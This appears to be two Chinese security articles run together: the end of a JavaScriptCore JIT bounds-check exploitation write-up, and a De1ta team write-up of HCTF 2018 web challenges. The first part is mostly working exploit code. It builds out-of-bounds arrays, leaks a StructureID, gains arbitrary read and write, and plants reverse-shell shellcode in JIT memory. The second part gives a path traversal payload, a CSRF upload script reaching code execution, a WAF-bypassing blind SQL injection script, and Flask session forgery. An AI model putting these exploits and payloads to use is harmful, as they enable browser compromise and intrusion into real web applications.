seg000:00007FFFAF1034E7 retn
从中可以看出，上述汇编代码正好印证了我们前面的分析，`neg ecx`代表了`Math.abs()`，然后`cmp ecx,
[rdx-8]`比较右边界，但由于ecx是32位，0x80000000比较通过，然后
seg000:00007FFFAF1034E8 mov rcx, 0FFFFFFFF80000003h
seg000:00007FFFAF1034EF sub ecx, eax
使得ecx为3，最后通过
seg000:00007FFFAF1034C0 mov eax, ecx
seg000:00007FFFAF1034C2 movsd xmm0, qword ptr [rdx+rax*8]
进行数组溢出读取数据。那么我们可以用同样的方法，越界写改写下一个数组对象`butterfly`中的`length`和`capacity`，从而构造一个oob的数组对象。首先要在内存上布局三个相邻的数组对象
arr0 ArrayWithDouble,
arr1 ArrayWithDouble,
arr2 ArrayWithContiguous,
通过arr0溢出改写arr1的`length`和`capacity`，即可将arr1构造为oob的数组
var arr = [1.1,2.2,3.3];
var oob_arr= [2.2,3.3,4.4];
var obj_arr = [{},{},{}];
debug(describe(arr));
debug(describe(oob_arr));
debug(describe(obj_arr));
print();
发现三个数组的`butterfly`不相邻，并且类型不大对
--> Object: 0x7fffef1a83e8 with butterfly 0x7fe00cee4010 (Structure 0x7fffae7f99e0:[0xee79, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 61049
--> Object: 0x7fffef1a8468 with butterfly 0x7fe00cee4040 (Structure 0x7fffae7f99e0:[0xee79, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 61049
--> Object: 0x7fffef1a84e8 with butterfly 0x7fe00cefda48 (Structure 0x7fffae7f9860:[0xe077, Array, {}, ArrayWithContiguous, Proto:0x7fffef1bc2e8]), StructureID: 57463
前两个类型为`CopyOnWriteArrayWithDouble`，导致它们与arr2的`butterfly`不相邻，于是尝试这样构造
let noCow = 13.37;
var arr = [noCow,2.2,3.3];
var oob_arr = [noCow,2.2,3.3];
var obj_arr = [{},{},{}];
debug(describe(arr));
debug(describe(oob_arr));
debug(describe(obj_arr));
print();
--> Object: 0x7fffef1a6168 with butterfly 0x7fe01e4fda48 (Structure 0x7fffae7f9800:[0xcd04, Array, {}, ArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 52484
--> Object: 0x7fffef1a61e8 with butterfly 0x7fe01e4fda68 (Structure 0x7fffae7f9800:[0xcd04, Array, {}, ArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 52484
--> Object: 0x7fffef1a6268 with butterfly 0x7fe01e4fda88 (Structure 0x7fffae7f9860:[0x5994, Array, {}, ArrayWithContiguous, Proto:0x7fffef1bc2e8]), StructureID: 22932
这回就相邻了，然后我们利用前面的漏洞构造oob数组
function foo(arr,n) {
if (n < 0) {
let a = -n;
let idx = Math.abs(n);
if (idx < arr.length) { //确定在边界之内
if (idx & 0x80000000) { //对于0x80000000，我们减去一个数,以将idx变换到任意正值
idx += -0x7ffffffd;
}
if (idx >= 0) { //确定在边界之内
arr[idx] = 1.04380972981885e-310; //溢出
}
}
}
}
let noCow = 13.37;
var arr = [noCow,2.2,3.3];
var oob_arr = [noCow,2.2,3.3];
var obj_arr = [{},{},{}];
for (var i=0;i<0xc0000;i++) {
foo(arr,-2);
}
foo(arr,-0x80000000);
debug(oob_arr.length);
输出如下，需要多次尝试，原因前面说过
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 3
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 3
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 3
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 4919
利用oob_arr和obj_arr即可轻松构造出addressOf和fakeObject原语
### 泄露StructureID
#### getByVal
在新版的JSC中，加入了StructureID随机化机制，使得我们前面介绍的喷射对象，并猜测StructureID的方法变得困难，成功率极大降低。因此需要使用其他方法，一种方法是利用`getByVal`，
static ALWAYS_INLINE JSValue getByVal(VM& vm, JSGlobalObject* globalObject, CodeBlock* codeBlock, JSValue baseValue, JSValue subscript, OpGetByVal bytecode)
{
..............................
if (subscript.isUInt32()) {
.......................
} else if (baseValue.isObject()) {
JSObject* object = asObject(baseValue);
if (object->canGetIndexQuickly(i))
return object->getIndexQuickly(i);
其中`canGetIndexQuickly`源码如下
bool canGetIndexQuickly(unsigned i) const
{
const Butterfly* butterfly = this->butterfly();
switch (indexingType()) {
...............
case ALL_DOUBLE_INDEXING_TYPES: {
if (i >= butterfly->vectorLength())
return false;
double value = butterfly->contiguousDouble().at(this, i);
if (value != value)
return false;
return true;
}
............
}
getIndexQuickly代码如下
JSValue getIndexQuickly(unsigned i) const
{
.............
case ALL_DOUBLE_INDEXING_TYPES:
return JSValue(JSValue::EncodeAsDouble, butterfly->contiguousDouble().at(this, i));
...............
}
}
从上面可以知道`getIndexQuickly`这条路径不会使用到StructureID，那么如何触发`getByVal`呢？经过测试，发现对`不是数组类型`的对象，使用`[]`运算符可以触发到`getByVal`
var a = {x:1};
var b = a[0];
debug(b);
print();
因此，我们可以尝试构造一个假的StructureID，使得它匹配StructureID时发现不是数组类型，就可以调用到`getByVal`
var arr_leak = new Array(noCow,2.2,3.3);
function leak_structureID(obj) {
let jscell_double = p64f(0x00000000,0x01062307);
let container = {
jscell:jscell_double,
butterfly:obj
}
let container_addr = addressOf(container);
let hax = fakeObject(container_addr[0]+0x10,container_addr[1]);
f64[0] = hax[0];
let structureID = u32[0];
//修复JSCell
u32[1] = 0x01082307 - 0x20000;
container.jscell = f64[0];;
return structureID;
}
var structureID = leak_structureID(arr_leak);
debug(structureID);
print();
调试如下
baseValue.isObject()判断通过，将进入分支
► 962 } else if (baseValue.isObject()) {
963 JSObject* object = asObject(baseValue);
964 if (object->canGetIndexQuickly(i))
965 return object->getIndexQuickly(i);
966
967 bool skipMarkingOutOfBounds = false;
pwndbg> p baseValue.isObject()
$3 = true
接下来，我们跟踪进入`canGetIndexQuickly`函数
In file: /home/sea/Desktop/WebKit/Source/JavaScriptCore/runtime/JSObject.h
272 return false;
273 case ALL_INT32_INDEXING_TYPES:
274 case ALL_CONTIGUOUS_INDEXING_TYPES:
275 return i < butterfly->vectorLength() && butterfly->contiguous().at(this, i);
276 case ALL_DOUBLE_INDEXING_TYPES: {
► 277 if (i >= butterfly->vectorLength())
278 return false;
279 double value = butterfly->contiguousDouble().at(this, i);
280 if (value != value)
281 return false;
282 return true;
pwndbg> p butterfly->vectorLength()
$11 = 32767
这里获取了容量，如果i在长度范围之内，则返回true，即可成功取得数据。由于这里我们是将`arr_leak`这个对象当成了`butterfly`，因此容量也就是&arr_leak-0x4处的数据，即
pwndbg> x /2wx 0x7fffef1613e8-0x8
0x7fffef1613e0: 0xef1561a0 0x00007fff
与32767对应上了。由此我们看出，这种方法的条件是`&arr_leak-0x4处的数据要大于0即可`，因此可以在内存布局的时候在`arr_leak`前面布置一个数组并用数据填充。如果不在前面布局一个数组用于填充，则利用程序将受到随机化的影响而不稳定。
#### Function.prototype.toString.call
另一个方法是通过toString()
函数的调用链来实现任意地址读数据，主要就是伪造调用链中的结构，最终使得`identifier`指向需要泄露的地址处，然后使用`Function.prototype.toString.call`获得任意地址处的数据，可参考[文章](https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf)
function leak_structureID2(obj) {
// https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf
var unlinkedFunctionExecutable = {
m_isBuitinFunction: i2f(0xdeadbeef),
pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6,
m_identifier: {},
};
var fakeFunctionExecutable = {
pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8,
m_executable: unlinkedFunctionExecutable,
};
var container = {
jscell: i2f(0x00001a0000000000),
butterfly: {},
pad: 0,
m_functionExecutable: fakeFunctionExecutable,
};
let fakeObjAddr = addressOf(container);
let fakeObj = fakeObject(fakeObjAddr[0] + 0x10,fakeObjAddr[1]);
unlinkedFunctionExecutable.m_identifier = fakeObj;
container.butterfly = obj;
var nameStr = Function.prototype.toString.call(fakeObj);
let structureID = nameStr.charCodeAt(9);
// repair the fakeObj's jscell
u32[0] = structureID;
u32[1] = 0x01082309-0x20000;
container.jscell = f64[0];
return structureID;
}
### 任意地址读写原语
在泄露了StructureID以后，就可以伪造数组对象进行任意地址读写了
var structureID = leak_structureID2(arr_leak);
u32[0] = structureID;
u32[1] = 0x01082309-0x20000;
//debug(describe(arr_leak));
debug('[+] structureID=' + structureID);
var victim = [1.1,2.2,3.3];
victim['prop'] = 23.33;
var container = {
jscell:f64[0],
butterfly:victim
}
var container_addr = addressOf(container);
var hax = fakeObject(container_addr[0]+0x10,container_addr[1]);
var padding = [1.1,2.2,3.3,4.4];
var unboxed = [noCow,2.2,3.3];
var boxed = [{}];
/*debug(describe(unboxed));
debug(describe(boxed));
debug(describe(victim));
debug(describe(hax));
*/
hax[1] = unboxed;
var sharedButterfly = victim[1];
hax[1] = boxed;
victim[1] = sharedButterfly;
function NewAddressOf(obj) {
boxed[0] = obj;
return u64f(unboxed[0]);
}
function NewFakeObject(addr_l,addr_h) {
var addr = p64f(addr_l,addr_h);
unboxed[0] = addr;
return boxed[0];
}
function read64(addr_l,addr_h) {
//必须保证在vicim[-1]处有数据，即used slots和max slots字段，否则将导致读取失败
//因此我们换用另一种方法，即利用property去访问
hax[1] = NewFakeObject(addr_l + 0x10,addr_h);
return NewAddressOf(victim.prop);
}
function write64(addr_l,addr_h,double_val) {
hax[1] = NewFakeObject(addr_l + 0x10,addr_h);
victim.prop = double_val;
}
### 劫持JIT编译的代码
var shellcodeFunc = getJITFunction();
shellcodeFunc();
var shellcodeFunc_addr = NewAddressOf(shellcodeFunc);
var executable_base_addr = read64(shellcodeFunc_addr[0] + 0x18,shellcodeFunc_addr[1]);
var jit_code_addr = read64(executable_base_addr[0] + 0x8,executable_base_addr[1]);
var rwx_addr = read64(jit_code_addr[0] + 0x20,jit_code_addr[1]);
debug("[+] shellcodeFunc_addr=" + shellcodeFunc_addr[1].toString(16) + shellcodeFunc_addr[0].toString(16));
debug("[+] executable_base_addr=" + executable_base_addr[1].toString(16) + executable_base_addr[0].toString(16));
debug("[+] jit_code_addr=" + jit_code_addr[1].toString(16) + jit_code_addr[0].toString(16));
debug("[+] rwx_addr=" + rwx_addr[1].toString(16) + rwx_addr[0].toString(16));
const shellcode = [
0x31, 0xD2, 0x31, 0xF6, 0x40, 0xB6, 0x01, 0x31, 0xFF, 0x40, 0xB7, 0x02, 0x31, 0xC0, 0xB0, 0x29,
0x0F, 0x05, 0x89, 0x44, 0x24, 0xF8, 0x89, 0xC7, 0x48, 0xB8, 0x02, 0x00, 0x09, 0x1D, 0x7F, 0x00,
0x00, 0x01, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89, 0xE6, 0xB2, 0x10, 0x48, 0x31, 0xC0, 0xB0, 0x2A,
0x0F, 0x05, 0x8B, 0x7C, 0x24, 0xF8, 0x31, 0xF6, 0xB0, 0x21, 0x0F, 0x05, 0x40, 0xB6, 0x01, 0x8B,
0x7C, 0x24, 0xF8, 0xB0, 0x21, 0x0F, 0x05, 0x40, 0xB6, 0x02, 0x8B, 0x7C, 0x24, 0xF8, 0xB0, 0x21,
0x0F, 0x05, 0x48, 0xB8, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x48, 0x89, 0x44, 0x24,
0xF0, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xD2, 0x48, 0x8D, 0x7C, 0x24, 0xF0, 0x48, 0x31, 0xC0, 0xB0,
0x3B, 0x0F, 0x05
];
function ByteToDwordArray(payload)
{
let sc = []
let tmp = 0;
let len = Math.ceil(payload.length/6)
for (let i = 0; i < len; i += 1) {
tmp = 0;
pow = 1;
for(let j=0; j<6; j++){
let c = payload[i*6+j]
if(c === undefined) {
c = 0;
}
pow = j==0 ? 1 : 256 * pow;
tmp += c * pow;
}
tmp += 0xc000000000000;
sc.push(tmp);
}
return sc;
}
//debug(describe(shellcodeFunc));
//debug(shellcode.length);
//替换jit的shellcode
let sc = ByteToDwordArray(shellcode);
for(let i=0; i<sc.length; i++) {
write64(rwx_addr[0] + i*6,rwx_addr[1],i2f(sc[i]));
}
debug("trigger shellcode")
//执行shellcode
print();
shellcodeFunc();
print();
这里，我们使用`ByteToDwordArray`将shellcode转为6字节有效数据每个的数组，这样是为了在write64时能一次写入6个有效数据，减少`for(let
i=0; i<sc.length;
i++)`的次数，避免`write64`被JIT编译，否则会报错崩溃，原因是因为我们伪造的对象未通过编译时的某些检查，但这不影响我们漏洞利用。
结果展示
## 0x03 感想
通过本次研究学习，理解了JSC的边界检查消除机制，同时也对JSC中的CSE有了一些了解，其与V8之间也非常的相似。
## 0x04 参考
[FireShell2020——从一道ctf题入门jsc利用](https://www.anquanke.com/post/id/223494#h3-7)
[WebKit
Commitdiff](https://git.webkit.org/?p=WebKit.git;a=commitdiff;h=951d27d5ba08b6c29370b05dc6b4ffe18be1ca18;hp=385e9bf9c686204d148574362b5c3da3b5319314)
[eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods](https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf)
[JITSploitation I：JIT编译器漏洞分析 ](https://www.sohu.com/a/468929360_120622013)
[Project Zero: JITSploitation I: A JIT
Bug](https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html) | 社区文章 |
> Team: De1ta
首先感谢杭电的师傅们为我们带来了一场精彩的CTF比赛，出题和运维的大佬们都辛苦了！
顺便打个小广告：De1ta长期招 逆向/pwn/密码学/硬件/取证/杂项/etc.
选手，急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=
[TOC]
# Web
## warmup
参考：<https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/>
在source.php可以看到源码
要使emmm::checkFile($_REQUEST['file'])返回true，利用?截取hint.php，利用/使hint.php?成为一个不存在的目录，最后include利用../../跳转目录读取flag。
payload: hint.php?/../../../../../../../../../../../ffffllllaaaagggg
payload还可以：index.php?file=source.php?/../../../../../../../../../../../ffffllllaaaagggg一个道理
> hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}
## share
打开题目，主页翻译一下可以得到这些信息
是个让用户分享应用的网站，并且管理员可以把应用推给某个用户
/Alphatest可以看到一个filenumber 和自己的uid
/share
可以分享东西给管理员，猜测存在xss，context框传了个段xss代码，发现能接收到admin的请求，bot是PhantomJS/2.1.1，说明能执行js，但是开了httponly打不到cookie，猜测是要CSRF，url框传的东西好像没啥用
根据主页提示可能有源码泄漏，在robots.txt 看到了三个接口的代码
/* this terrible code */
class FileController < ApplicationController
before_action :authenticate_user!
before_action :authenticate_role
before_action :authenticate_admin
protect_from_forgery :except => [:upload , :share_people_test]
# post /file/upload
def upload
if(params[:file][:myfile] != nil && params[:file][:myfile] != "")
file = params[:file][:myfile]
name = Base64.decode64(file.original_filename)
ext = name.split('.')[-1]
if ext == name || ext ==nil
ext=""
end
share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
share.write(Base64.decode64(file.read))
share.close
File.rename(share.path,share.path+"."+ext)
tmp = Sharefile.new
tmp.public = 0
tmp.path = share.path
tmp.name = name
tmp.tempname= share.path.split('/')[-1]+"."+ext
tmp.context = params[:file][:context]
tmp.save
end
redirect_to root_path
end
# post /file/Alpha_test
def Alpha_test
if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
fid = params[:fid].to_i
uid = params[:uid].to_i
if(fid > 0 && uid > 0)
if(Sharelist.find_by(sharefile_id: fid)==nil)
if(Sharelist.count("user_id = ?", uid.to_s) <5)
share = Sharelist.new
share.sharefile_id = fid
share.user_id = uid
share.save
end
end
end
end
redirect_to(root_path)
end
def share_file_to_all
file = Sharefile.find(params[:fid])
File.rename(file.path,Rails.root+"/public/download/"+file.name)
file.public = true
file.path = Rails.root+"/public/download/"+file.name
file.save
end
end
分析一下这段代码，
before_action :authenticate_user!
before_action :authenticate_role
before_action :authenticate_admin
首先三个接口都是管理员才能调用
第一个接口/file/upload 能够上传文件
第二个接口/file/Alpha_test 能够分配一个文件给一个用户
第三个是把文件公开，但是没有提供外部调用路由
后面 hint1给了文件结构
views
|-- devise
| |-- confirmations
| |-- mailer
| |-- passwords
| |-- registrations
| | `-- new.html.erb
| |-- sessions
| | `-- new.html.erb
| |-- shared
| `-- unlocks
|-- file
|-- home
| |-- Alphatest.erb
| |-- addtest.erb
| |-- home.erb
| |-- index.html.erb
| |-- publiclist.erb
| |-- share.erb
| `-- upload.erb
|-- layouts
| |-- application.html.erb
| |-- mailer.html.erb
| `-- mailer.text.erb
`-- recommend
`-- show.erb
hint2给了一个主页的代码
`<%= render template: "home/"+params[:page] %>`
参考
<http://blog.neargle.com/SecNewsBak/drops/Ruby%20on%20Rails%20%E5%8A%A8%E6%80%81%E6%B8%B2%E6%9F%93%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20%28CVE.html>
尝试跨目录包含文件失败，应该是只能包含home目录下的文件
hint3给了ruby版本2.5.0
通过查找ruby版本号，结合robots代码，主页代码和目录结构，可以确定要利用的是这个CVE：
CVE-2018-6914: Unintentional file and directory creation with directory
traversal in tempfile and tmpdir
大概意思就是在Tempfile 创建文件时如果传入(../)就能创建任意目录或文件
想到可以传个文件到home下，结合主页的文件包含，即可RCE
整个思路就很清晰了：
1. CSRF 让admin调用/file/upload 接口上传带有恶意文件名的文件
2. Tmpfile漏洞使得文件生成在/views/home/目录下，但是新生成的文件名有部分是随机的
3. CSRF 调用/file/Alpha_test 接口把文件分配到自己的id下，在/Alphatest拿到生成的文件名
4. 主页文件包含，RCE
于是开始了艰难的构造payload
最后上传的payload如下：
<script type="text/javascript" charset="utf-8" src="http://code.jquery.com/jquery-1.11.1.min.js"></script>
<script>
function upload(i) {
var test=$('meta').eq(1).attr("content");
var url="/file/upload";
var data="-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"file[myfile]\"; filename=\"Li4vLi4vYXBwL3ZpZXdzL2hvbWUvZGUxdGF4aXNoaXIuZXJic3MuZXJi\"\x0d\x0a\
Content-Type: application/text\x0d\x0a\
\x0d\x0a\
PCU9IGBjYXQgL2ZsYWdgICU+\x0d\x0a\
-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"file[context]\"\x0d\x0a\
\x0d\x0a\
de1ta\x0d\x0a\
-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"authenticity_token\"\x0d\x0a\
\x0d\x0a\
"+test+"\x0d\x0a\
-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"commit\"\x0d\x0a\
\x0d\x0a\
submit\x0d\x0a\
-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"utf8\"\x0d\x0a\
\x0d\x0a\
✓\x0d\x0a\
-----------------------------13025814701038468772945051835--";
$.ajax({
url: url,
type:"POST",
headers: {
"Content-Type": "multipart/form-data; boundary=---------------------------13025814701038468772945051835",
"Upgrade-Insecure-Requests":"1"
},
data:data,
contentType:false,
success:function(res){
},
error:function(err){
}
})
}
for(var i=1;i<2;i++)
{
upload(i);
}
</script>
文件内容为
<%= `cat /flag` %>
文件名为
../../app/views/home/de1taxishir.erbss.erb
推送文件到我的uid下的代码为：
<script type="text/javascript" charset="utf-8" src="http://code.jquery.com/jquery-1.11.1.min.js"></script>
<script>
function go(fffid){
var test=$('meta').eq(1).attr("content");
console.log(test);
var params = {utf8:"\xE2\x9C\x93",authenticity_token:test,uid:2,fid:fffid,commit:"submit"};
var url = '/file/Alpha_test';
$.ajax({
url : url,
type : "POST",
data : params,
success : function(result) {
},
error:function(result){
}
})
}
for(var i=1;i<20;i+=1){
go(i);
}
</script>
这里因为不知道文件id是多少，只能根据前面的filenumber来爆破一下，所以写了个for循环
最后上传上去并获取文件名后，在主页进行文件包含执行命令，读取flag
ps：这道题有个搅shi bug，利用推文件给用户接口，无限暴力推fid到自己的uid下，就能看到别人上传的文件，并且别人就不知道他的文件名是啥了
还有就是js构造一个文件上传太坑了，一开始用new
File，一直失败，后面发现是PhantomJS不支持这个h5的类好像，于是硬生生写了个multipart/form-data 出来
> flag:hctf{8f4c57063ddb7b106e03e25f7d1bb813}
## kzone
打开发现是一个QQ钓鱼站，主页会跳转到空间
<http://kzone.2018.hctf.io/www.zip> 可以下载到源码
install.sql 文件中有admin密码，admn。
INSERT INTO `fish_admin` (`id`, `username`, `password`, `name`, `qq`, `per`)
VALUES
(1, 'admin', '21232f297a57a5a743894a0e4a801fc3', '小杰', '1503816935', 1);
不过登陆不上去，密码被改了
审计源码翻到了member.php，发现这边没有addslashes，并且无需登录也可访问
可以看到这段代码从cookie获取了登陆信息，如果符合几个if，就能登陆
想到通过注入 ，union select 替换掉admin_user和admin_pass
尝试构造弱类型绕过：
Cookie: PHPSESSID=s33h9c1u8bq5t0r8s4dura0c76; islogin=1;
login_data={"admin_user":"admin'||'1","admin_pass":65}
（一开始没构造出来，然后就转思路去bypass waf了
参考这篇文章
<http://blog.sina.com.cn/s/blog_1574497330102wruv.html>
虽然他没绕过关键词检测，但是顺着他的思路尝试构造了
\u0075nion，本地测试发现json_decode后变为union，成功bypass waf
构造一个sleep的cookie，放到服务端测试也sleep了，证明此处注入可行
Cookie:PHPSESSID=t0k91etf5fecbi4t25d7hprtm3;islogin=1;login_data={"admin_user":"admin111'/**/\u0075nion/**/select/**/1,2,3,4,5,6/**/from/**/fish_admin/**/where/**/\u0073leep(3)\u003d'1","admin_pass":"3b30a11aaba222edd6e704e9959b94643ed4ffd9"}
后面就把所有关键词用这种方法绕过，就能直接注入了，最后flag在 F1444g表的F1a9字段
附上注入脚本
#!/usr/bin/python
#!coding:utf-8#
# xishir
import requests
import time
import datetime
#hctf{4526a8cbd741b3f790f95ad32c2514b9}
ss = "{}_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-+"
r = requests.session()
url = "http://kzone.2018.hctf.io/admin/"
#url="http://127.0.0.1/hctf/www/admin/"
union = '\u00'+str(hex(ord('u')))[2:]+'nion'
sleep = '\u00'+str(hex(ord('s')))[2:]+'leep'
ascii = '\u00'+str(hex(ord('a')))[2:]+'scii'
ok = '\u00'+str(hex(ord('=')))[2:]
substr = '\u00'+str(hex(ord('s')))[2:]+'ubstr'
over = '\u00'+str(hex(ord('#')))[2:]
blank = "/**/"
orr = '\u00'+str(hex(ord('o')))[2:]+'r'
flag=""
for i in range(1,50):
print i
for j in ss:
payload = "admin' and (substr((select binary F1a9 from F1444g limit 1),"+str(i)+",1)='"+str(j)+"') and sleep(4) and 1='1"
payload = payload.replace('sleep',sleep)
payload = payload.replace('union',union)
payload = payload.replace('=',ok)
payload = payload.replace('#',over)
payload = payload.replace(' ',blank)
payload = payload.replace('ascii',ascii)
payload = payload.replace('substr',substr)
payload = payload.replace('or',orr)
jsons = '{"admin_user":"'+payload+'","admin_pass":"3b30a11aaba222edd6e704e9959b94643ed4ffd9"}'
cookie={"PHPSESSID":"t0k91etf5fecbi4t25d7hprtm3",
"islogin":"1",
"login_data":jsons}
t1=time.time()
r1 = r.get("http://kzone.2018.hctf.io",cookies=cookie)
t2=time.time()
#print t2
if (t2-t1)>4:
#print "aaaaaaaa"
flag+=str(j)
print i,flag
break
## admin
找到源码 <https://github.com/woadsl1234/hctf_flask/>
有个进程每30秒重置一次数据库
看到strlower函数很奇怪
参考：<http://blog.lnyas.xyz/?p=1411>
最后解题步骤如下
注册一个ᴬdmin账号
登陆ᴬdmin，发现页面显示Admin
修改密码，退出登录
重新登陆Admin，看到flag
## hide and seek
传个zip，会解压缩并且读取
尝试传个链接文件ln -s /etc/passwd test 并压缩上传
读到/etc/passwd
然后就是各种文件读取
在 /proc/self/environ读取到一个好东西
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=323a960bcc1aSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0
然后直接读/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini文件得到
[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app
按部就班读取项目文件
/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
得到
# -*- coding: utf-8 -*- from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)
因为有这段
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
如果文件里有hctf就返回主页
所以不能直接读flag.py，也没有flag.pyc
后面读index.html发现admin用户登录就能看到flag
{% if user == 'admin' %}
Your flag: <br>
{{ flag }}
想到要读secret，伪造admin的session，发现代码里的secret是伪随机的
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
随机数种子固定为mac地址，读取 /sys/class/net/eth0/address 可以得到
然后带入seed，本地跑一下，登陆admin拿到cookie，再放到网站上就能看到flag了
## Game
赛后解出：
<http://game.2018.hctf.io/web2/user.php?order=password>
这样可以按照密码进行排序
不断注册新用户，密码逐位逐位与admin的密码比较，最后得到admin的密码，比如注册个密码为d的用户
然后按密码排序，发现它在admin下面
然后注册一个密码为e的用户，发现他在admin上面
由此可以推算出admin密码第一位是d，按照此原理，逐位得到完整的admin密码为dsa8&&!@#$%^&d1ngy1as3dja，登录访问flag.php即可getflag。
## bottle
直接参考p总链接即可:
<https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html>
首先发现CLRF
刚开始的时候，CSP是在响应包的上面的，需要想办法绕过CSP。
第二天CSP被设置到响应包下面了。
接下来就简单了，只需要绕过302跳转就可以打到cookie。因为302的时候不会xss。利用<80端口可以绕过302跳转。可以在浏览器手动试一下。
80端口的时候可以发现跳转到了题目的首页
小于80端口的时候可以发现返回了我们构造的响应包下面的内容，这个时候手动访问可以看到打到了cookie。
所以拿着下面这个payload就可以打到cookie了。
